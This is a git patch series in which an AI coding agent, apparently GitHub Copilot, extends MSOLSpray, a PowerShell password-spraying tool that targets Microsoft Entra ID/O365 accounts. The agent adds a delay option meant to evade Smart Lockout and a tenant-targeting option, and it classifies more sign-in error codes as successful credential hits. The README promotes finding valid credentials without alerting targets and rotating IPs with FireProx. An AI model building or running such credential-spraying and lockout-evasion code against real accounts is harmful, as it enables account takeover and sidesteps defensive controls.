From 5a3882d793bd135e640363eaee9ed8887577d8b4 Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Fri, 7 Nov 2025 17:08:58 +0000 Subject: [PATCH 01/10] Initial plan From 8cd05bcb812d9f1dca7cf7a03d9b5e05e4c95155 Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Fri, 7 Nov 2025 17:16:20 +0000 Subject: [PATCH 02/10] Update MSOLSpray with Entra ID improvements and new error codes Co-authored-by: socketz <638274+socketz@users.noreply.github.com> --- MSOLSpray.ps1 | 102 ++++++++++++++++++++++++++++++++++++++++++++++---- README.md | 8 ++-- 2 files changed, 99 insertions(+), 11 deletions(-) diff --git a/MSOLSpray.ps1 b/MSOLSpray.ps1 index 235efb6..51c5b20 100644 --- a/MSOLSpray.ps1 +++ b/MSOLSpray.ps1 @@ -3,7 +3,7 @@ function Invoke-MSOLSpray{ <# .SYNOPSIS - This module will perform password spraying against Microsoft Online accounts (Azure/O365). The script logs if a user cred is valid, if MFA is enabled on the account, if a tenant doesn't exist, if a user doesn't exist, if the account is locked, or if the account is disabled. + This module will perform password spraying against Microsoft Online accounts (Microsoft Entra ID/Azure AD/O365). The script logs if a user cred is valid, if MFA is enabled on the account, if a tenant doesn't exist, if a user doesn't exist, if the account is locked, or if the account is disabled. MSOLSpray Function: Invoke-MSOLSpray Author: Beau Bullock (@dafthack) License: BSD 3-Clause @@ -12,7 +12,7 @@ function Invoke-MSOLSpray{ .DESCRIPTION - This module will perform password spraying against Microsoft Online accounts (Azure/O365). The script logs if a user cred is valid, if MFA is enabled on the account, if a tenant doesn't exist, if a user doesn't exist, if the account is locked, or if the account is disabled. + This module will perform password spraying against Microsoft Online accounts (Microsoft Entra ID/Azure AD/O365). The script logs if a user cred is valid, if MFA is enabled on the account, if a tenant doesn't exist, if a user doesn't exist, if the account is locked, or if the account is disabled. .PARAMETER UserList @@ -34,6 +34,14 @@ function Invoke-MSOLSpray{ The URL to spray against. Potentially useful if pointing at an API Gateway URL generated with something like FireProx to randomize the IP address you are authenticating from. + .PARAMETER Delay + + Delay in seconds between each authentication attempt. Helps avoid rate limiting and Smart Lockout. Default is 0 seconds. + + .PARAMETER Verbose + + Displays additional error information for troubleshooting authentication issues. + .EXAMPLE C:\PS> Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020 @@ -47,6 +55,13 @@ function Invoke-MSOLSpray{ Description ----------- This command uses the specified FireProx URL to spray from randomized IP addresses and writes the output to a file. See this for FireProx setup: https://github.com/ustayready/fireprox. + + .EXAMPLE + + C:\PS> Invoke-MSOLSpray -UserList .\userlist.txt -Password Fall2024! -Delay 5 -Verbose + Description + ----------- + This command will spray passwords with a 5 second delay between attempts and display verbose error information. #> Param( @@ -70,7 +85,15 @@ function Invoke-MSOLSpray{ [Parameter(Position = 4, Mandatory = $False)] [switch] - $Force + $Force, + + [Parameter(Position = 5, Mandatory = $False)] + [int] + $Delay = 0, + + [Parameter(Position = 6, Mandatory = $False)] + [switch] + $VerboseErrors ) $ErrorActionPreference= 'silentlycontinue' @@ -82,9 +105,13 @@ function Invoke-MSOLSpray{ $fullresults = @() Write-Host -ForegroundColor "yellow" ("[*] There are " + $count + " total users to spray.") - Write-Host -ForegroundColor "yellow" "[*] Now spraying Microsoft Online." + Write-Host -ForegroundColor "yellow" "[*] Now spraying Microsoft Online (Entra ID)." $currenttime = Get-Date Write-Host -ForegroundColor "yellow" "[*] Current date and time: $currenttime" + + if ($Delay -gt 0) { + Write-Host -ForegroundColor "yellow" "[*] Delay between requests: $Delay seconds" + } ForEach ($username in $usernames){ @@ -106,8 +133,8 @@ function Invoke-MSOLSpray{ } else{ # Check the response for indication of MFA, tenant, valid user, etc... - # Here is a referense list of all the Azure AD Authentication an Authorization Error Codes: - # https://docs.microsoft.com/en-us/azure/active-directory/develop/reference-aadsts-error-codes + # Here is a reference list of all the Microsoft Entra ID (Azure AD) Authentication and Authorization Error Codes: + # https://learn.microsoft.com/en-us/entra/identity-platform/reference-error-codes # Standard invalid password If($RespErr -match "AADSTS50126") @@ -161,14 +188,73 @@ function Invoke-MSOLSpray{ $fullresults += "$username : $password" } + # User password must be reset + ElseIf($RespErr -match "AADSTS50056") + { + Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password - NOTE: The user's password must be reset." + $fullresults += "$username : $password" + } + + # Grant expired or revoked (password was changed/reset) + ElseIf($RespErr -match "AADSTS50173") + { + Write-Output "[*] INFO: The user $username had their password changed or tokens were revoked." + } + + # Conditional Access policy blocks token issuance + ElseIf($RespErr -match "AADSTS53003") + { + Write-Output "[*] INFO: Access for $username blocked by Conditional Access policies." + } + + # User must enroll for multi-factor authentication + ElseIf($RespErr -match "AADSTS50072") + { + Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password - NOTE: User must enroll in MFA (but password is valid)." + $fullresults += "$username : $password" + } + + # Strong authentication is required + ElseIf($RespErr -match "AADSTS50074") + { + Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password - NOTE: Strong authentication required (MFA enforced)." + $fullresults += "$username : $password" + } + + # Application not found in directory + ElseIf($RespErr -match "AADSTS700016") + { + Write-Output "[*] WARNING! Application identifier not found in tenant for $username." + } + + # Missing tenant information + ElseIf($RespErr -match "AADSTS90019") + { + Write-Output "[*] WARNING! Missing tenant information for $username." + } + + # User trying to sign in with personal Microsoft account + ElseIf($RespErr -match "AADSTS81018") + { + Write-Output "[*] INFO: User $username attempted to sign in with personal Microsoft account (not work/school)." + } + # Unknown errors Else { Write-Output "[*] Got an error we haven't seen yet for user $username" - $RespErr + if ($VerboseErrors) { + Write-Output "[*] Verbose Error Details:" + $RespErr + } } } + # Add delay between requests if specified + if ($Delay -gt 0 -and $curr_user -lt $count) { + Start-Sleep -Seconds $Delay + } + # If the force flag isn't set and lockout count is 10 we'll ask if the user is sure they want to keep spraying if (!$Force -and $lockout_count -eq 10 -and $lockoutquestion -eq 0) { @@ -188,7 +274,7 @@ function Invoke-MSOLSpray{ if ($result -ne 0) { Write-Host "[*] Cancelling the password spray." - Write-Host "NOTE: If you are seeing multiple 'account is locked' messages after your first 10 attempts or so this may indicate Azure AD Smart Lockout is enabled." + Write-Host "NOTE: If you are seeing multiple 'account is locked' messages after your first 10 attempts or so this may indicate Microsoft Entra ID Smart Lockout is enabled." break } } diff --git a/README.md b/README.md index aa7be2f..c75190b 100644 --- a/README.md +++ b/README.md @@ -1,14 +1,14 @@ # MSOLSpray -A password spraying tool for Microsoft Online accounts (Azure/O365). The script logs if a user cred is valid, if MFA is enabled on the account, if a tenant doesn't exist, if a user doesn't exist, if the account is locked, or if the account is disabled. +A password spraying tool for Microsoft Online accounts (Microsoft Entra ID/Azure AD/O365). The script logs if a user cred is valid, if MFA is enabled on the account, if a tenant doesn't exist, if a user doesn't exist, if the account is locked, or if the account is disabled. BE VERY CAREFUL NOT TO LOCKOUT ACCOUNTS! ## Why another spraying tool? -Yes, I realize there are other password spraying tools for O365/Azure. The main difference with this one is that this tool not only is looking for valid passwords, but also the extremely verbose information Azure AD error codes give you. These error codes provide information relating to if MFA is enabled on the account, if a tenant doesn't exist, if a user doesn't exist, if the account is locked, if the account is disabled, if the password is expired and much more. +Yes, I realize there are other password spraying tools for O365/Azure. The main difference with this one is that this tool not only is looking for valid passwords, but also the extremely verbose information Microsoft Entra ID (formerly Azure AD) error codes give you. These error codes provide information relating to if MFA is enabled on the account, if a tenant doesn't exist, if a user doesn't exist, if the account is locked, if the account is disabled, if the password is expired and much more. So this doubles, as not only a password spraying tool but also a Microsoft Online recon tool that will provide account/domain enumeration. In limited testing it appears that on valid login to the Microsoft Online OAuth2 endpoint it isn't auto-triggering MFA texts/push notifications making this really useful for finding valid creds without alerting the target. -Lastly, this tool works well with [FireProx](https://github.com/ustayready/fireprox) to rotate source IP addresses on authentication requests. In testing this appeared to avoid getting blocked by Azure Smart Lockout. +Lastly, this tool works well with [FireProx](https://github.com/ustayready/fireprox) to rotate source IP addresses on authentication requests. In testing this appeared to avoid getting blocked by Microsoft Entra ID Smart Lockout. **Brought to you by:** @@ -29,4 +29,6 @@ Password - A single password that will be used to perform the password spray. OutFile - A file to output valid results to. Force - Forces the spray to continue and not stop when multiple account lockouts are detected. URL - The URL to spray against. Potentially useful if pointing at an API Gateway URL generated with something like FireProx to randomize the IP address you are authenticating from. +Delay - Delay in seconds between each authentication attempt. Helps avoid rate limiting and Smart Lockout. Default is 0. +VerboseErrors - Displays full error details for unknown errors to help with troubleshooting. ``` From 78ef15bc0aaeeae1447b7859dbafe3d4cf5d377f Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Fri, 7 Nov 2025 17:18:07 +0000 Subject: [PATCH 03/10] Add input validation for UserList and Password parameters Co-authored-by: socketz <638274+socketz@users.noreply.github.com> --- MSOLSpray.ps1 | 23 +++++++++++++++++++++++ 1 file changed, 23 insertions(+) diff --git a/MSOLSpray.ps1 b/MSOLSpray.ps1 index 51c5b20..fdceb59 100644 --- a/MSOLSpray.ps1 +++ b/MSOLSpray.ps1 @@ -97,8 +97,31 @@ function Invoke-MSOLSpray{ ) $ErrorActionPreference= 'silentlycontinue' + + # Input validation + if ([string]::IsNullOrWhiteSpace($UserList)) { + Write-Host -ForegroundColor "red" "[!] Error: UserList parameter is required." + return + } + + if (-not (Test-Path $UserList)) { + Write-Host -ForegroundColor "red" "[!] Error: UserList file not found: $UserList" + return + } + + if ([string]::IsNullOrWhiteSpace($Password)) { + Write-Host -ForegroundColor "red" "[!] Error: Password parameter is required." + return + } + $Usernames = Get-Content $UserList $count = $Usernames.count + + if ($count -eq 0) { + Write-Host -ForegroundColor "red" "[!] Error: UserList file is empty." + return + } + $curr_user = 0 $lockout_count = 0 $lockoutquestion = 0 From c778abfc9b7deed1dfedbf511af28de37cddd48e Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Fri, 7 Nov 2025 17:20:40 +0000 Subject: [PATCH 04/10] Fix parameter name in documentation from Verbose to VerboseErrors Co-authored-by: socketz <638274+socketz@users.noreply.github.com> --- MSOLSpray.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/MSOLSpray.ps1 b/MSOLSpray.ps1 index fdceb59..a49bba9 100644 --- a/MSOLSpray.ps1 +++ b/MSOLSpray.ps1 @@ -38,7 +38,7 @@ function Invoke-MSOLSpray{ Delay in seconds between each authentication attempt. Helps avoid rate limiting and Smart Lockout. Default is 0 seconds. - .PARAMETER Verbose + .PARAMETER VerboseErrors Displays additional error information for troubleshooting authentication issues. From e2628fae5ab715171e621a1c932554789a6047a9 Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Fri, 7 Nov 2025 17:22:38 +0000 Subject: [PATCH 05/10] Address code review feedback - improve verbose error output and delay logic Co-authored-by: socketz <638274+socketz@users.noreply.github.com> --- MSOLSpray.ps1 | 4 ++-- README.md | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/MSOLSpray.ps1 b/MSOLSpray.ps1 index a49bba9..439d9d8 100644 --- a/MSOLSpray.ps1 +++ b/MSOLSpray.ps1 @@ -267,13 +267,13 @@ function Invoke-MSOLSpray{ { Write-Output "[*] Got an error we haven't seen yet for user $username" if ($VerboseErrors) { - Write-Output "[*] Verbose Error Details:" + Write-Output "[*] Verbose Error Details for ${username}:" $RespErr } } } - # Add delay between requests if specified + # Add delay between requests if specified (but not after the last user) if ($Delay -gt 0 -and $curr_user -lt $count) { Start-Sleep -Seconds $Delay } diff --git a/README.md b/README.md index c75190b..33f210f 100644 --- a/README.md +++ b/README.md @@ -29,6 +29,6 @@ Password - A single password that will be used to perform the password spray. OutFile - A file to output valid results to. Force - Forces the spray to continue and not stop when multiple account lockouts are detected. URL - The URL to spray against. Potentially useful if pointing at an API Gateway URL generated with something like FireProx to randomize the IP address you are authenticating from. -Delay - Delay in seconds between each authentication attempt. Helps avoid rate limiting and Smart Lockout. Default is 0. -VerboseErrors - Displays full error details for unknown errors to help with troubleshooting. +Delay - Delay in seconds between each authentication attempt. Helps avoid rate limiting and Smart Lockout. Default is 0 seconds. +VerboseErrors - Displays additional error information for troubleshooting authentication issues. ``` From 648330d06f52d330a0696ee2176a85a543c50694 Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Fri, 7 Nov 2025 17:36:33 +0000 Subject: [PATCH 06/10] Initial plan From 131afa28df93adf2206a536f933847945df0e8ae Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Fri, 7 Nov 2025 17:40:28 +0000 Subject: [PATCH 07/10] Add TenantID support, improve MFA messages, add output newline, log invalid passwords Co-authored-by: socketz <638274+socketz@users.noreply.github.com> --- MSOLSpray.ps1 | 26 ++++++++++++++++++++++---- README.md | 1 + 2 files changed, 23 insertions(+), 4 deletions(-) diff --git a/MSOLSpray.ps1 b/MSOLSpray.ps1 index 439d9d8..6762ec4 100644 --- a/MSOLSpray.ps1 +++ b/MSOLSpray.ps1 @@ -34,6 +34,10 @@ function Invoke-MSOLSpray{ The URL to spray against. Potentially useful if pointing at an API Gateway URL generated with something like FireProx to randomize the IP address you are authenticating from. + .PARAMETER TenantId + + The tenant ID to target. Default is "common". Useful for forcing authentication against a specific tenant (e.g., for B2B users). + .PARAMETER Delay Delay in seconds between each authentication attempt. Helps avoid rate limiting and Smart Lockout. Default is 0 seconds. @@ -83,15 +87,20 @@ function Invoke-MSOLSpray{ [string] $URL = "https://login.microsoft.com", + # Specify a target tenant ID (used to force authentication attempts against a specific tenant for B2B users) [Parameter(Position = 4, Mandatory = $False)] + [string] + $TenantId = "common", + + [Parameter(Position = 5, Mandatory = $False)] [switch] $Force, - [Parameter(Position = 5, Mandatory = $False)] + [Parameter(Position = 6, Mandatory = $False)] [int] $Delay = 0, - [Parameter(Position = 6, Mandatory = $False)] + [Parameter(Position = 7, Mandatory = $False)] [switch] $VerboseErrors ) @@ -146,7 +155,7 @@ function Invoke-MSOLSpray{ # Setting up the web request $BodyParams = @{'resource' = 'https://graph.windows.net'; 'client_id' = '1b730954-1685-4b74-9bfd-dac224a7b894' ; 'client_info' = '1' ; 'grant_type' = 'password' ; 'username' = $username ; 'password' = $password ; 'scope' = 'openid'} $PostHeaders = @{'Accept' = 'application/json'; 'Content-Type' = 'application/x-www-form-urlencoded'} - $webrequest = Invoke-WebRequest $URL/common/oauth2/token -Method Post -Headers $PostHeaders -Body $BodyParams -ErrorVariable RespErr + $webrequest = Invoke-WebRequest $URL/$TenantId/oauth2/token -Method Post -Headers $PostHeaders -Body $BodyParams -ErrorVariable RespErr # If we get a 200 response code it's a valid cred If ($webrequest.StatusCode -eq "200"){ @@ -162,6 +171,7 @@ function Invoke-MSOLSpray{ # Standard invalid password If($RespErr -match "AADSTS50126") { + Write-Output "[*] INFO: Invalid password for $username." continue } @@ -178,11 +188,18 @@ function Invoke-MSOLSpray{ } # Microsoft MFA response - ElseIf(($RespErr -match "AADSTS50079") -or ($RespErr -match "AADSTS50076")) + ElseIf($RespErr -match "AADSTS50076") { Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password - NOTE: The response indicates MFA (Microsoft) is in use." $fullresults += "$username : $password" } + + # User can complete MFA registration + ElseIf($RespErr -match "AADSTS50079") + { + Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password - NOTE: The response indicates that MFA can be onboarded (password is valid)." + $fullresults += "$username : $password" + } # Conditional Access response (Based off of limited testing this seems to be the repsonse to DUO MFA) ElseIf($RespErr -match "AADSTS50158") @@ -313,4 +330,5 @@ function Invoke-MSOLSpray{ Write-Output "Results have been written to $OutFile." } } + Write-Host "" } diff --git a/README.md b/README.md index 33f210f..61c404c 100644 --- a/README.md +++ b/README.md @@ -29,6 +29,7 @@ Password - A single password that will be used to perform the password spray. OutFile - A file to output valid results to. Force - Forces the spray to continue and not stop when multiple account lockouts are detected. URL - The URL to spray against. Potentially useful if pointing at an API Gateway URL generated with something like FireProx to randomize the IP address you are authenticating from. +TenantId - The tenant ID to target. Default is "common". Useful for forcing authentication against a specific tenant (e.g., for B2B users). Delay - Delay in seconds between each authentication attempt. Helps avoid rate limiting and Smart Lockout. Default is 0 seconds. VerboseErrors - Displays additional error information for troubleshooting authentication issues. ``` From b3330d36ba41327655613cb1df23c63c3b6eaf81 Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Fri, 7 Nov 2025 17:45:54 +0000 Subject: [PATCH 08/10] Finalize changes - keep invalid password attempts silent Co-authored-by: socketz <638274+socketz@users.noreply.github.com> --- MSOLSpray.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/MSOLSpray.ps1 b/MSOLSpray.ps1 index 6762ec4..f83a8c8 100644 --- a/MSOLSpray.ps1 +++ b/MSOLSpray.ps1 @@ -171,7 +171,7 @@ function Invoke-MSOLSpray{ # Standard invalid password If($RespErr -match "AADSTS50126") { - Write-Output "[*] INFO: Invalid password for $username." + # Silently continue for invalid passwords to avoid verbose output continue } From 033adf229ae5db6df99f73c70c6f99a09c29d959 Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Fri, 7 Nov 2025 17:47:27 +0000 Subject: [PATCH 09/10] Address code review feedback - clean up comments Co-authored-by: socketz <638274+socketz@users.noreply.github.com> --- MSOLSpray.ps1 | 2 -- 1 file changed, 2 deletions(-) diff --git a/MSOLSpray.ps1 b/MSOLSpray.ps1 index f83a8c8..0483431 100644 --- a/MSOLSpray.ps1 +++ b/MSOLSpray.ps1 @@ -87,7 +87,6 @@ function Invoke-MSOLSpray{ [string] $URL = "https://login.microsoft.com", - # Specify a target tenant ID (used to force authentication attempts against a specific tenant for B2B users) [Parameter(Position = 4, Mandatory = $False)] [string] $TenantId = "common", @@ -171,7 +170,6 @@ function Invoke-MSOLSpray{ # Standard invalid password If($RespErr -match "AADSTS50126") { - # Silently continue for invalid passwords to avoid verbose output continue } From ac96c0694d5774082fc9ba733dd2f07afc5a614c Mon Sep 17 00:00:00 2001 From: socketz Date: Mon, 10 Nov 2025 12:13:39 +0100 Subject: [PATCH 10/10] Update MSOLSpray.ps1 Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com> --- MSOLSpray.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/MSOLSpray.ps1 b/MSOLSpray.ps1 index 0483431..efca198 100644 --- a/MSOLSpray.ps1 +++ b/MSOLSpray.ps1 @@ -199,7 +199,7 @@ function Invoke-MSOLSpray{ $fullresults += "$username : $password" } - # Conditional Access response (Based off of limited testing this seems to be the repsonse to DUO MFA) + # Conditional Access response (Based off of limited testing this seems to be the response to DUO MFA) ElseIf($RespErr -match "AADSTS50158") { Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password - NOTE: The response indicates conditional access (MFA: DUO or other) is in use."